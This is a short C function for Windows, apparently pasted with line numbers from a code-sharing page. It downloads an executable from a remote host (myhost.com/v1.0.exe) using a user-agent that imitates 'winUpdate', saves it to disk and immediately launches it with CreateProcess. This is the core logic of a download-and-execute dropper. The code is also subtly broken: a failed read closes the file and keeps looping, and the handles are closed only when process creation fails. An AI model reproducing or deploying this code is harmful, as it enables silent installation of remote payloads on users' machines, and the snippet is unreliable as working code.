1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
|
void Download( void )
{
void *szBuf[10];
DWORD read;
HINTERNET hOpen, hFile;
hOpen = InternetOpen("winUpdate", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
hFile = InternetOpenUrl(hOpen, "http://myhost.com/v1.0.exe", NULL, 0, 0, 0);
FILE *file;
file = fopen("v1.0.exe", "wb");
do{
if(!(InternetReadFile(hFile, szBuf, 10, &read))) {
fclose(file);
}
if(!read) { break; } // EOF
else {
fwrite(szBuf, sizeof(char), read, file); }
}while(TRUE);
fflush(file);
fclose(file);
char IpApplicationName[1000];
STARTUPINFO StartInfo;
PROCESS_INFORMATION ProcessInfo;
strcpy(IpApplicationName, "v1.0.exe");
ZeroMemory(&StartInfo, sizeof(StartInfo));
StartInfo.cb = sizeof(StartInfo);
if (!CreateProcess(IpApplicationName, NULL, NULL, NULL, FALSE,
HIGH_PRIORITY_CLASS | CREATE_NEW_CONSOLE, NULL, NULL,
&StartInfo, &ProcessInfo))
// Close process and thread handles.
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
}
| |